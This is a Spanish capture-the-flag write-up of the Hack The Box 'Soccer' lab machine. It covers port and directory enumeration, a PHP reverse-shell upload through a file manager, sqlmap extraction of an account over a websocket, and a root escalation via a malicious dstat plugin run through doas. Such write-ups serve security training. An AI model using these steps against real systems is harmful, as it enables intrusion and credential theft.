Soccer

En esta ocasión tenemos otra máquina easy de Hack The Box, donde conseguiremos una reverse shell inicial que nos servirá para obtener información adicional y posteriormente realizar nuestra primera inyección SQL para conseguir acceder al sistema.

Reconocimiento de Puertos

Como siempre, empezaremos realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo nmapauto 10.10.11.194

 [*] Reconocimiento inicial de puertos 

Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-10 21:27 CEST
Initiating SYN Stealth Scan at 21:27
Scanning 10.10.11.194 [65535 ports]
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 21:27, 11.64s elapsed (65535 total ports)
Nmap scan report for 10.10.11.194
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
           Raw packets sent: 65669 (2.889MB) | Rcvd: 65535 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-10 21:27 CEST
Nmap scan report for 10.10.11.194
Host is up (0.055s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sat, 10 Jun 2023 19:27:40 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sat, 10 Jun 2023 19:27:40 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94%I=7%D=6/10%Time=6484CEA6%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Sat,\x2010\x20Jun\x202023\x2019:27:40\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Sat,\x2010\x20Jun\x202023\x2019:27:40\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sat,\
SF:x2010\x20Jun\x202023\x2019:27:40\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos

Si tratamos de cargar el puerto 80:

❯ curl 10.10.11.194 -L
curl: (6) Could not resolve host: soccer.htb

Se aplica virtualhost. Añadimos el dominio en el /etc/hosts:

echo "10.10.11.221    soccer.htb" | sudo tee -a /etc/hosts

Si cargamos ahora de nuevo con el navegador:

Fuzzing

Como no vemos nada interesante, vamos a realizar fuzzing:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u http://soccer.htb/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2023/06/10 22:06:50 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 6917]
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 881841 / 882244 (99.95%)
===============================================================
2023/06/10 22:13:24 Finished
===============================================================

Encontramos el recurso tiny, y si vemos lo que tiene:

Nos encontramos un file manager. Por lo que puedo comprobar en el directorio raíz no disponemos de permisos para crear contenido, sin embargo, dentro de la carpeta “tiny” hay otra carpeta llamada “uploads” en la cual sí permite escribir, así que intentaremos subir la típica reverse shell de Pentestmonkey que podemos descargar desde esa URL. En nuestro caso como usamos Kali, ya viene incluida:

Reverse shell

❯ locate php-reverse-shell
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
❯ cp /usr/share/webshells/php/php-reverse-shell.php rev.php
❯ nano rev.php

Ahora realizamos el tratamiento de la TTY inmediatamente, o al estar mediante una VPN perderemos la shell en cualquier momento.

Si miramos las conexiones abiertas en escucha, podemos ver que hay ciertos servicios corriendo:

www-data@soccer:/etc/nginx/sites-available$ ss -tnlp
ss -tnlp
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port    Process                                                                         
LISTEN    0         511                0.0.0.0:9091             0.0.0.0:*                                                                                       
LISTEN    0         70               127.0.0.1:33060            0.0.0.0:*                                                                                       
LISTEN    0         151              127.0.0.1:3306             0.0.0.0:*                                                                                       
LISTEN    0         511                0.0.0.0:80               0.0.0.0:*        users:(("nginx",pid=1125,fd=6),("nginx",pid=1124,fd=6))                        
LISTEN    0         4096         127.0.0.53%lo:53               0.0.0.0:*                                                                                       
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*                                                                                       
LISTEN    0         511              127.0.0.1:3000             0.0.0.0:*                                                                                       
LISTEN    0         511                   [::]:80                  [::]:*        users:(("nginx",pid=1125,fd=7),("nginx",pid=1124,fd=7))                        
LISTEN    0         128                   [::]:22                  [::]:*                                                                 

De esta forma, si examinamos un poco el servidor y nos vamos al directorio /etc/nginx/sites-available podemos ver que existe otra web aparentemente:

Virtualhost

www-data@soccer:/etc/nginx/sites-available$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Dec  1  2022 .
drwxr-xr-x 8 root root 4096 Nov 17  2022 ..
-rw-r--r-- 1 root root  442 Dec  1  2022 default
-rw-r--r-- 1 root root  332 Nov 17  2022 soc-player.htb

Si revisamos la configuración del virtualhost:

www-data@soccer:/etc/nginx/sites-available$ cat soc-player.htb
cat soc-player.htb
server {
  listen 80;
  listen [::]:80;

  server_name soc-player.soccer.htb;

  root /root/app/views;

  location / {
    proxy_pass http://localhost:3000;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection 'upgrade';
    proxy_set_header Host $host;
    proxy_cache_bypass $http_upgrade;
  }
}

Hemos descubierto el subdominio soc-player.soccer.htb, que añadiremos al /etc/hosts.

Luego al acceder a la web, nos registraremos en la página:

Y tras loguearnos veremos un sistema de tickets:

Si revisamos un poco la misma podemos ver que la petición se realiza a un websocket:

Si las imágenes no se ven bien al estar embebidas, abridlas en una nueva pestaña y se verán en grande.

Aquí también enseño la respuesta a los inputs que introducimos como ticket:

De esta forma, parece susceptible a SQL injection, por lo que nos apoyaremos de la herramienta sqlmap (no muestro el verbose de la misma ya que no aporta nada y es largo):

SQL injection

❯ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"44"}' --dbs

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
❯ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"44"}' -D soccer_db --tables

Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
❯ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"44"}' -D soccer_db -T accounts --dump

Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | P******************2 | player   |
+------+-------------------+----------------------+----------+

Ya tenemos los datos de un usuario, todo apunta a que ahora podremos conectarnos por SSH y leer la flag de user.

❯ ssh player@10.10.11.194
player@10.10.11.194's password: 

Permission denied, please try again.
player@10.10.11.194's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jun 11 16:44:33 UTC 2023

  System load:           0.07
  Usage of /:            70.1% of 3.84GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             271
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.194
  IPv6 address for eth0: dead:beef::250:56ff:feb9:7ee

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Jun 11 16:42:56 2023 from 10.10.14.120
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt 

Escalada de privilegios

Como siempre empezaremos viendo la lista de grupos a la que pertenecemos y los comandos que podemos ejecutar como otro usuario:

player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ sudo -l
[sudo] password for player: 
player@soccer:~$ 

Por aquí no tenemos nada, veamos los binarios SUID:

player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign

El primero que vemos no me suena de nada, así que buscamos información del mismo y vemos que tiene un fichero de configuración, supuestamente en /etc/doas.conf, pero no lo localizo, así que lo buscamos y lo revisamos:

player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

Nos indica que podemos usar dstat como root con doas, así que nos vamos a nuestro compañero https://gtfobins.github.io/gtfobins/dstat/ para ver cómo aprovecharnos de esto:

player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
player@soccer:~$ /usr/local/bin/doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# cd /root
# ls
app  root.txt  run.sql  snap
# cat root.txt

Con esto hemos finalizado la máquina. Las de Hack The Box son bastante más complejas y se me atragantan en ciertos puntos bastante, pero están bien porque se aprenden muchas cosas. Nos vemos en la siguiente.